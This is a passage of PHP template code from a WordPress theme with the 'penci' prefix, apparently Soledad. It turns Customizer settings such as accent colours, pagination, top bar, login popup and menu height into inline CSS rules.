            .penci-home-popular-post ul.slick-dots li button:hover, .penci-home-popular-post ul.slick-dots li.slick-active button, .post-entry blockquote .author span:after, .error-image:after, .error-404 .go-back-home a:after, .penci-header-signup-form, .woocommerce span.onsale, .woocommerce #respond input#submit:hover, .woocommerce a.button:hover, .woocommerce button.button:hover, .woocommerce input.button:hover, .woocommerce nav.woocommerce-pagination ul li span.current, .woocommerce div.product .entry-summary div[itemprop="description"]:before, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author span:after, .woocommerce div.product .woocommerce-tabs #tab-description blockquote .author span:after, .woocommerce #respond input#submit.alt:hover, .woocommerce a.button.alt:hover, .woocommerce button.button.alt:hover, .woocommerce input.button.alt:hover, .pcheader-icon.shoping-cart-icon > a > span, #penci-demobar .buy-button, #penci-demobar .buy-button:hover, .penci-recipe-heading a.penci-recipe-print:hover,.penci-review-metas .penci-review-btnbuy:hover, .penci-review-process span, .penci-review-score-total, #navigation.menu-style-2 ul.menu ul.sub-menu:before, #navigation.menu-style-2 .menu ul ul.sub-menu:before, .penci-go-to-top-floating, .post-entry.blockquote-style-2 blockquote:before, #bbpress-forums #bbp-search-form .button, #bbpress-forums #bbp-search-form .button:hover, .wrapper-boxed .bbp-pagination-links span.current, #bbpress-forums #bbp_reply_submit:hover, #bbpress-forums #bbp_topic_submit:hover,#main .bbp-login-form .bbp-submit-wrapper button[type="submit"]:hover, #buddypress .dir-search input[type=submit], #buddypress .groups-members-search input[type=submit], #buddypress button:hover, #buddypress a.button:hover, #buddypress a.button:focus, #buddypress input[type=button]:hover, #buddypress input[type=reset]:hover, #buddypress ul.button-nav li a:hover, #buddypress ul.button-nav li.current a, #buddypress div.generic-button a:hover, #buddypress .comment-reply-link:hover, #buddypress input[type=submit]:hover, #buddypress div.pagination .pagination-links .current, #buddypress div.item-list-tabs ul li.selected a, #buddypress div.item-list-tabs ul li.current a, #buddypress div.item-list-tabs ul li a:hover, #buddypress table.notifications thead tr, #buddypress table.notifications-settings thead tr, #buddypress table.profile-settings thead tr, #buddypress table.profile-fields thead tr, #buddypress table.wp-profile-fields thead tr, #buddypress table.messages-notices thead tr, #buddypress table.forum thead tr, #buddypress input[type=submit] { background-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .penci-pagination ul.page-numbers li span.current, #comments_pagination span { color: #fff; background: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; border-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .footer-instagram h4.footer-instagram-title > span:before, .woocommerce nav.woocommerce-pagination ul li span.current, .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover, .penci-recipe-heading a.penci-recipe-print:hover,.penci-review-metas .penci-review-btnbuy:hover, .home-featured-cat-content.style-14 .magcat-padding:before, .wrapper-boxed .bbp-pagination-links span.current, #buddypress .dir-search input[type=submit], #buddypress .groups-members-search input[type=submit], #buddypress button:hover, #buddypress a.button:hover, #buddypress a.button:focus, #buddypress input[type=button]:hover, #buddypress input[type=reset]:hover, #buddypress ul.button-nav li a:hover, #buddypress ul.button-nav li.current a, #buddypress div.generic-button a:hover, #buddypress .comment-reply-link:hover, #buddypress input[type=submit]:hover, #buddypress div.pagination .pagination-links .current, #buddypress input[type=submit], form.pc-searchform.penci-hbg-search-form input.search-input:hover, form.pc-searchform.penci-hbg-search-form input.search-input:focus, .penci-dropcap-box-outline, .penci-dropcap-circle-outline { border-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .woocommerce .woocommerce-error, .woocommerce .woocommerce-info, .woocommerce .woocommerce-message { border-top-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .penci-slider ol.penci-control-nav li a.penci-active, .penci-slider ol.penci-control-nav li a:hover, .penci-related-carousel .penci-owl-dot.active span, .penci-owl-carousel-slider .penci-owl-dot.active span{ border-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; background-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .woocommerce .woocommerce-message:before, .woocommerce form.checkout table.shop_table .order-total .amount, .woocommerce ul.products li.product .price ins, .woocommerce ul.products li.product .price, .woocommerce div.product p.price ins, .woocommerce div.product span.price ins, .woocommerce div.product p.price, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote:before, .woocommerce div.product .woocommerce-tabs #tab-description blockquote:before, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote cite, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author, .woocommerce div.product .woocommerce-tabs #tab-description blockquote cite, .woocommerce div.product .woocommerce-tabs #tab-description blockquote .author, .woocommerce div.product .product_meta > span a:hover, .woocommerce div.product .woocommerce-tabs ul.tabs li.active, .woocommerce ul.cart_list li .amount, .woocommerce ul.product_list_widget li .amount, .woocommerce table.shop_table td.product-name a:hover, .woocommerce table.shop_table td.product-price span, .woocommerce table.shop_table td.product-subtotal span, .woocommerce-cart .cart-collaterals .cart_totals table td .amount, .woocommerce .woocommerce-info:before, .woocommerce div.product span.price, .penci-container-inside.penci-breadcrumb span a:hover,.penci-container-inside.penci-breadcrumb a:hover  { color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; }
            .standard-content .penci-more-link.penci-more-link-button a.more-link, .penci-readmore-btn.penci-btn-make-button a, .penci-featured-cat-seemore.penci-btn-make-button a{ background-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; color: #fff; }
            .penci-vernav-toggle:before{ border-top-color: <?php echo get_theme_mod( 'penci_color_accent' ); ?>; color: #fff; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_body_breadcrumbs' ) ): ?>
            .penci-container-inside.penci-breadcrumb i, .container.penci-breadcrumb i, .penci-container-inside.penci-breadcrumb span, .penci-container-inside.penci-breadcrumb span a, .penci-container-inside.penci-breadcrumb a, .container.penci-breadcrumb span, .container.penci-breadcrumb span a, .container.penci-breadcrumb a{ font-size: <?php echo get_theme_mod( 'penci_body_breadcrumbs' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_breadcrumbs_color' ) ): ?>
            .penci-container-inside.penci-breadcrumb i, .container.penci-breadcrumb i, .penci-container-inside.penci-breadcrumb span, .penci-container-inside.penci-breadcrumb span a, .penci-container-inside.penci-breadcrumb a,.container.penci-breadcrumb span, .container.penci-breadcrumb span a, .container.penci-breadcrumb a{ color: <?php echo get_theme_mod( 'penci_breadcrumbs_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_loadmore_size' ) ): ?>
            .penci-pagination a, .penci-pagination .disable-url, .penci-pagination ul.page-numbers li span, .penci-pagination ul.page-numbers li a, #comments_pagination span, #comments_pagination a{ font-size: <?php echo get_theme_mod( 'penci_home_loadmore_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_pagination_color' ) ): ?>
            .penci-pagination a, .penci-pagination .disable-url, .penci-pagination ul.page-numbers li span, .penci-pagination ul.page-numbers li a, #comments_pagination span, #comments_pagination a{ color: <?php echo get_theme_mod( 'penci_pagination_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_pagination_hcolor' ) ): ?>
            .penci-pagination a:hover{ color: <?php echo get_theme_mod( 'penci_pagination_hcolor' ); ?>; }
            .penci-pagination ul.page-numbers li span.current, #comments_pagination span{ border-color: <?php echo get_theme_mod( 'penci_pagination_hcolor' ); ?>; background-color: <?php echo get_theme_mod( 'penci_pagination_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadmorebtn_color' ) ): ?>
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button{ color: <?php echo get_theme_mod( 'penci_loadmorebtn_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadmorebtn_borders' ) ): ?>
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button{ border-color: <?php echo get_theme_mod( 'penci_loadmorebtn_borders' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadmorebtn_bg' ) ): ?>
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button{ background-color: <?php echo get_theme_mod( 'penci_loadmorebtn_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadmorebtn_hcolor' ) ): ?>
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover{ color: <?php echo get_theme_mod( 'penci_loadmorebtn_hcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadmorebtn_hborders' ) ): ?>
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover{ border-color: <?php echo get_theme_mod( 'penci_loadmorebtn_hborders' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadmorebtn_hbg' ) ): ?>
            .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover{ background-color: <?php echo get_theme_mod( 'penci_loadmorebtn_hbg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_archivetitle_prefix_color' ) ): ?>
            .archive-box span{ color: <?php echo get_theme_mod( 'penci_archivetitle_prefix_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_archivetitle_color' ) ): ?>
            .archive-box h1{ color: <?php echo get_theme_mod( 'penci_archivetitle_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_box_text_size' ) ): ?>
            ul.homepage-featured-boxes .penci-fea-in h4 span span, ul.homepage-featured-boxes .penci-fea-in.boxes-style-3 h4 span span { font-size: <?php echo get_theme_mod( 'penci_home_box_text_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_polular_fsectitle' ) ): ?>
            .home-pupular-posts-title{ font-size: <?php echo get_theme_mod( 'penci_home_polular_fsectitle' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_polular_mfsectitle' ) ): ?>
            @media only screen and (max-width: 479px){ .home-pupular-posts-title{ font-size: <?php echo get_theme_mod( 'penci_home_polular_mfsectitle' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_post_font_size' ) ): ?>
            .penci-home-popular-post .item-related h3 a { font-size: <?php echo get_theme_mod( 'penci_home_popular_post_font_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_popular_post_fdate' ) ): ?>
            .penci-home-popular-post .item-related span.date { font-size: <?php echo get_theme_mod( 'penci_home_popular_post_fdate' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_hmobile' ) ): ?>
            @media only screen and (max-width: 767px){ .penci-top-bar{ display: none; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_auto_speed' ) ): ?>
            .penci-headline .animated.slideOutUp, .penci-headline .animated.slideInUp { -webkit-animation-duration: <?php echo get_theme_mod( 'penci_top_bar_auto_speed' ); ?>ms; animation-duration: <?php echo get_theme_mod( 'penci_top_bar_auto_speed' ); ?>ms; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_bg' ) ): ?>
            .penci-top-bar, .penci-topbar-trending .penci-owl-carousel .owl-item, ul.penci-topbar-menu ul.sub-menu, div.penci-topbar-menu > ul ul.sub-menu, .pctopbar-login-btn .pclogin-sub{ background-color: <?php echo get_theme_mod( 'penci_top_bar_bg' ); ?>; }
            .headline-title.nticker-style-3:after{ border-color: <?php echo get_theme_mod( 'penci_top_bar_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_top_posts_bg' ) ): ?>
            .headline-title { background-color: <?php echo get_theme_mod( 'penci_top_bar_top_posts_bg' ); ?>; }
            .headline-title.nticker-style-2:after, .headline-title.nticker-style-4:after{ border-color: <?php echo get_theme_mod( 'penci_top_bar_top_posts_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_top_posts_color' ) ): ?>
            .headline-title { color: <?php echo get_theme_mod( 'penci_top_bar_top_posts_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_button_color' ) ): ?>
            .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev, .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next, .penci-trending-nav a{ color: <?php echo get_theme_mod( 'penci_top_bar_button_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_button_hover_color' ) ): ?>
            .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev:hover, .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next:hover, .penci-trending-nav a:hover{ color: <?php echo get_theme_mod( 'penci_top_bar_button_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_title_color' ) ): ?>
            a.penci-topbar-post-title { color: <?php echo get_theme_mod( 'penci_top_bar_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_title_hover_color' ) ): ?>
            a.penci-topbar-post-title:hover { color: <?php echo get_theme_mod( 'penci_top_bar_title_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_topbar_ct_color' ) ): ?>
            .penci-headline .pctopbar-item { color: <?php echo get_theme_mod( 'penci_topbar_ct_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_off_uppercase' ) ): ?>
            a.penci-topbar-post-title { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_top_posts_lowcase' ) ): ?>
            .headline-title { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_off_uppercase_menu' ) ): ?>
            ul.penci-topbar-menu > li a, div.penci-topbar-menu > ul > li a { text-transform: none; font-size: 12px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_topbar_ctsize' ) ): ?>
            .penci-topbar-ctext, .penci-top-bar .pctopbar-item{ font-size: <?php echo get_theme_mod( 'penci_topbar_ctsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_top_post_size' ) ): ?>
            .headline-title { font-size: <?php echo get_theme_mod( 'penci_top_bar_top_post_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_toppost_width' ) ): ?>
            .penci-topbar-trending{ max-width: <?php echo get_theme_mod( 'penci_toppost_width' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_toppost_width_mobile' ) ): ?>
            @media only screen and (max-width: 767px){ .penci-topbar-trending{ max-width: <?php echo get_theme_mod( 'penci_toppost_width_mobile' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_top_post_size_title' ) ): ?>
            a.penci-topbar-post-title { font-size: <?php echo get_theme_mod( 'penci_top_bar_top_post_size_title' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_auto_speed' ) && '300' != get_theme_mod( 'penci_top_bar_auto_speed' ) ):
			$autospeed = get_theme_mod( 'penci_top_bar_auto_speed' );
			$autospeed_time           = (int) $autospeed / 1000;
			?>
            .penci-top-bar .penci-topbar-trending .animated.slideOutUp, .penci-top-bar .penci-topbar-trending .animated.slideInUp, .penci-top-bar .penci-topbar-trending .animated.TickerslideOutRight, .penci-top-bar .penci-topbar-trending .animated.TickerslideInRight, .penci-top-bar .penci-topbar-trending .animated.fadeOut, .penci-top-bar .penci-topbar-trending .animated.fadeIn{ -webkit-animation-duration : <?php echo $autospeed_time; ?>s; animation-duration : <?php echo $autospeed_time; ?>s; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_menu_level_one' ) ): ?>
            ul.penci-topbar-menu > li > a, div.penci-topbar-menu > ul > li > a { font-size: <?php echo get_theme_mod( 'penci_top_bar_menu_level_one' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_sub_menu_size' ) ): ?>
            ul.penci-topbar-menu ul.sub-menu > li a, div.penci-topbar-menu ul.sub-menu > li a { font-size: <?php echo get_theme_mod( 'penci_top_bar_sub_menu_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_social_size' ) ): ?>
            .penci-topbar-social a, .penci-top-bar .penci-login-popup-btn a i{ font-size: <?php echo get_theme_mod( 'penci_top_bar_social_size' ); ?>px; }
		<?php endif; ?>
		<?php echo penci_renders_css( '.penci-lgpop-title', 'penci_tbpop_title_size' ); ?>
		<?php if ( get_theme_mod( 'penci_tbpop_inputfs' ) ): ?>
            #penci-login-popup .penci-login input[type="text"], #penci-login-popup .penci-login input[type="password"], #penci-login-popup .penci-login input[type="email"]{ font-size: <?php echo get_theme_mod( 'penci_tbpop_inputfs' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tbpop_submitfs' ) ): ?>
            #penci-login-popup .penci-login input[type="submit"]{ font-size: <?php echo get_theme_mod( 'penci_tbpop_submitfs' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tbpop_textfs' ) ): ?>
            #penci-login-popup, #penci-login-popup p{ font-size: <?php echo get_theme_mod( 'penci_tbpop_textfs' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_menu_color' ) ): ?>
            ul.penci-topbar-menu > li a, div.penci-topbar-menu > ul > li a { color: <?php echo get_theme_mod( 'penci_top_bar_menu_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_menu_dropdown_bg' ) ): ?>
            ul.penci-topbar-menu ul.sub-menu, div.penci-topbar-menu > ul ul.sub-menu { background-color: <?php echo get_theme_mod( 'penci_top_bar_menu_dropdown_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_menu_hover_color' ) ): ?>
            ul.penci-topbar-menu > li a:hover, div.penci-topbar-menu > ul > li a:hover { color: <?php echo get_theme_mod( 'penci_top_bar_menu_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_menu_border' ) ): ?>
            ul.penci-topbar-menu ul.sub-menu li a, div.penci-topbar-menu > ul ul.sub-menu li a, ul.penci-topbar-menu > li > ul.sub-menu > li:first-child, div.penci-topbar-menu > ul > li > ul.sub-menu > li:first-child { border-color: <?php echo get_theme_mod( 'penci_top_bar_menu_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_social_color' ) ): ?>
            .penci-topbar-social a { color: <?php echo get_theme_mod( 'penci_top_bar_social_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_top_bar_social_hover_color' ) ): ?>
            .penci-topbar-social a:hover { color: <?php echo get_theme_mod( 'penci_top_bar_social_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_icon_text' ) ): ?>
            .penci-topbar-social .pctopbar-login-btn a{ color: <?php echo get_theme_mod( 'penci_tblgc_icon_text' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_icon_htext' ) ): ?>
            .penci-topbar-social .pctopbar-login-btn a:hover{ color: <?php echo get_theme_mod( 'penci_tblgc_icon_htext' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgpop_cloading' ) ): ?>
            #penci-login-popup .penci-ld .penci-ldin:before{ background-color: <?php echo get_theme_mod( 'penci_tblgpop_cloading' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgpop_bg' ) ): ?>
            #penci-login-popup, #penci-login-popup:before, #penci-login-popup.ajax-loading:before{ background-color: <?php echo get_theme_mod( 'penci_tblgpop_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgpop_bg' ) && get_theme_mod( 'penci_tblgpop_sbg' ) ): ?>
            #penci-login-popup, #penci-login-popup:before, #penci-login-popup.ajax-loading:before{ background: linear-gradient( 135deg ,<?php echo get_theme_mod( 'penci_tblgpop_bg' ); ?> 0%,<?php echo get_theme_mod( 'penci_tblgpop_sbg' ); ?> 100%); }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgpop_bg_opacity' ) || '0' == get_theme_mod( 'penci_tblgpop_bg_opacity' ) ): ?>
            #penci-login-popup:before{ opacity: <?php echo get_theme_mod( 'penci_tblgpop_bg_opacity' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgpop_bgimgage' ) ):
			$lgrgpop_img_bg = get_theme_mod( 'penci_tblgpop_bgimgage' );
			$lgrgpop_img_bgrepeat     = get_theme_mod( 'penci_tblgpop_bg_repeat' );
			$lgrgpop_img_bgattachment = get_theme_mod( 'penci_tblgpop_bg_attachment' );
			$lgrgpop_img_bgsize       = get_theme_mod( 'penci_tblgpop_bg_size' );

			$lgrgpop_bgimg_html = "background-image: url('" . $lgrgpop_img_bg . "');";
			if ( $lgrgpop_img_bgrepeat ): $lgrgpop_bgimg_html .= 'background-repeat: ' . $lgrgpop_img_bgrepeat . ';'; endif;
			if ( $lgrgpop_img_bgattachment ): $lgrgpop_bgimg_html .= 'background-attachment: ' . $lgrgpop_img_bgattachment . ';'; endif;
			if ( $lgrgpop_img_bgsize ): $lgrgpop_bgimg_html .= 'background-size: ' . $lgrgpop_img_bgsize . ';'; endif;
			?>
            #penci-login-popup:after{ <?php echo $lgrgpop_bgimg_html; ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_close' ) ): ?>
            .mfp-close-btn-in #penci-login-popup .mfp-close{ color: <?php echo get_theme_mod( 'penci_tblgc_close' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_titles' ) ): ?>
            .penci-lgpop-title{ color: <?php echo get_theme_mod( 'penci_tblgc_titles' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_inputs' ) ): ?>
            #penci-login-popup .penci-login input[type="text"], #penci-login-popup .penci-login input[type="password"], #penci-login-popup .penci-login input[type="email"]{ color: <?php echo get_theme_mod( 'penci_tblgc_inputs' ); ?>; }
            #penci-login-popup .penci-login input[type="text"]::-webkit-input-placeholder, #penci-login-popup .penci-login input[type="password"]::-webkit-input-placeholder, #penci-login-popup .penci-login input[type="email"]::-webkit-input-placeholder{ color: <?php echo get_theme_mod( 'penci_tblgc_inputs' ); ?>; }
            #penci-login-popup .penci-login input[type="text"]::-ms-input-placeholder, #penci-login-popup .penci-login input[type="password"]::-ms-input-placeholder, #penci-login-popup .penci-login input[type="email"]::-ms-input-placeholder{ color: <?php echo get_theme_mod( 'penci_tblgc_inputs' ); ?>; }
            #penci-login-popup .penci-login input[type="text"]::placeholder, #penci-login-popup .penci-login input[type="password"]::placeholder, #penci-login-popup .penci-login input[type="email"]::placeholder{ color: <?php echo get_theme_mod( 'penci_tblgc_inputs' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_inputs_borders' ) ): ?>
            #penci-login-popup .penci-login input[type="text"], #penci-login-popup .penci-login input[type="password"], #penci-login-popup .penci-login input[type="email"]{ border-color: <?php echo get_theme_mod( 'penci_tblgc_inputs_borders' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_submit' ) ): ?>
            #penci-login-popup .penci-login input[type="submit"]{ color: <?php echo get_theme_mod( 'penci_tblgc_submit' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_hsubmit' ) ): ?>
            #penci-login-popup .penci-login input[type="submit"]:hover{ color: <?php echo get_theme_mod( 'penci_tblgc_hsubmit' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_submit_bg' ) ): ?>
            #penci-login-popup .penci-login input[type="submit"]{ background-color: <?php echo get_theme_mod( 'penci_tblgc_submit_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_submit_hbg' ) ): ?>
            #penci-login-popup .penci-login input[type="submit"]:hover{ background-color: <?php echo get_theme_mod( 'penci_tblgc_submit_hbg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_text' ) ): ?>
            #penci-login-popup, #penci-login-popup p:not(.message){ color: <?php echo get_theme_mod( 'penci_tblgc_text' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblgc_links' ) ): ?>
            #penci-login-popup a, #penci-login-popup a:hover{ color: <?php echo get_theme_mod( 'penci_tblgc_links' ); ?>; }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_tbtext_mobile' ) ): ?>
            @media only screen and (max-width: 767px){ .penci-top-bar .pctopbar-item.penci-topbar-ctext { display: none; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_toppost_mobile' ) ): ?>
            @media only screen and (max-width: 767px){ .penci-top-bar .pctopbar-item.penci-topbar-trending { display: block; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tbmenu_mobile' ) ): ?>
            @media only screen and (max-width: 767px){ .penci-top-bar .pctopbar-item.penci-wtopbar-menu { display: none; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tbsocial_mobile' ) ): ?>
            @media only screen and (max-width: 767px){ .penci-top-bar .pctopbar-item.penci-topbar-social { display: none; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblogin_titleupper' ) ): ?>
            .penci-lgpop-title{ text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_tblogin_submitupper' ) ): ?>
            #penci-login-popup .penci-login input[type="submit"]{ text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_remove_border_bottom_header' ) ): ?>
            .header-header-1.has-bottom-line, .header-header-4.has-bottom-line, .header-header-7.has-bottom-line { border-bottom: none; }
		<?php endif; ?>
		<?php
		$header_bgcolor   = get_theme_mod( 'penci_header_background_color' );
		$header_bgimg     = get_theme_mod( 'penci_header_background_image' );
		$main_bar_bgcolor = get_theme_mod( 'penci_main_bar_bg' );
		$main_bar_bgimg   = '';

		$mainmenu_height        = get_theme_mod( 'penci_mainmenu_height' );
		$mainmenu_height_sticky = get_theme_mod( 'penci_mainmenu_height_sticky' );
		if ( $mainmenu_height && ! $mainmenu_height_sticky ) {
			$mainmenu_height_sticky = 60;
		}

		if ( is_page() ) {
			$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $pmeta_page_header['header_bgcolor'] ) && $pmeta_page_header['header_bgcolor'] ) {
				$header_bgcolor = $pmeta_page_header['header_bgcolor'];
			}
			if ( isset( $pmeta_page_header['header_bgimg'] ) && $pmeta_page_header['header_bgimg'] ) {
				$header_bgimg_meta = wp_get_attachment_url( intval( $pmeta_page_header['header_bgimg'] ) );
				if ( $header_bgimg_meta ) {
					$header_bgimg = $header_bgimg_meta;
				}
			}
			if ( isset( $pmeta_page_header['main_bar_bg'] ) && $pmeta_page_header['main_bar_bg'] ) {
				$main_bar_bgcolor = $pmeta_page_header['main_bar_bg'];
			}
			if ( isset( $pmeta_page_header['main_bar_bgimg'] ) && $pmeta_page_header['main_bar_bgimg'] ) {
				$main_bar_bgimg_meta = wp_get_attachment_url( intval( $pmeta_page_header['main_bar_bgimg'] ) );
				if ( $main_bar_bgimg_meta ) {
					$main_bar_bgimg = $main_bar_bgimg_meta;
				}
			}


			if ( isset( $pmeta_page_header['penci_mainmenu_height'] ) && $pmeta_page_header['penci_mainmenu_height'] ) {
				$mainmenu_height = $pmeta_page_header['penci_mainmenu_height'];
			}
			if ( isset( $pmeta_page_header['penci_mainmenu_height_sticky'] ) && $pmeta_page_header['penci_mainmenu_height_sticky'] ) {
				$mainmenu_height_sticky = $pmeta_page_header['penci_mainmenu_height_sticky'];
			}
		}

		if ( $mainmenu_height && $mainmenu_height > 29 ) {

			$fonts_lv1 = get_theme_mod( 'penci_font_size_lv1' ) ? get_theme_mod( 'penci_font_size_lv1' ) : 12;
			$fonts_lv1 = intval( $fonts_lv1 ) + 2;

			echo '@media only screen and (min-width: 961px){';
			echo '#navigation,.sticky-wrapper:not( .is-sticky ) #navigation, #navigation.sticky:not(.sticky-active){ height: ' . esc_attr( $mainmenu_height ) . 'px !important; }';
			echo '#navigation .menu > li > a,.main-nav-social,#navigation.sticky:not(.sticky-active) .menu > li > a, #navigation.sticky:not(.sticky-active) .main-nav-social, .sticky-wrapper:not( .is-sticky ) #navigation .menu>li>a,.sticky-wrapper:not( .is-sticky ) .main-nav-social{ line-height: ' . esc_attr( $mainmenu_height - 2 ) . 'px !important; height: ' . esc_attr( $mainmenu_height - 1 ) . 'px !important; }';
			echo '#navigation.sticky:not(.sticky-active) ul.menu > li > a:before, #navigation.sticky:not(.sticky-active) .menu > ul > li > a:before, .sticky-wrapper:not( .is-sticky ) #navigation ul.menu > li > a:before,.sticky-wrapper:not( .is-sticky ) #navigation .menu > ul > li > a:before{ bottom: calc( ' . esc_attr( $mainmenu_height ) . 'px/2 - ' . $fonts_lv1 . 'px ) !important; }';
			echo '#navigation .pc_dm_mode,.top-search-classes a.cart-contents, .pcheader-icon > a, #navigation.sticky:not(.sticky-active) .pcheader-icon > a,.sticky-wrapper:not( .is-sticky ) .pcheader-icon > a,#navigation #penci-header-bookmark > a{ height: ' . esc_attr( $mainmenu_height - 2 ) . 'px !important;line-height: ' . esc_attr( $mainmenu_height - 2 ) . 'px !important; }';
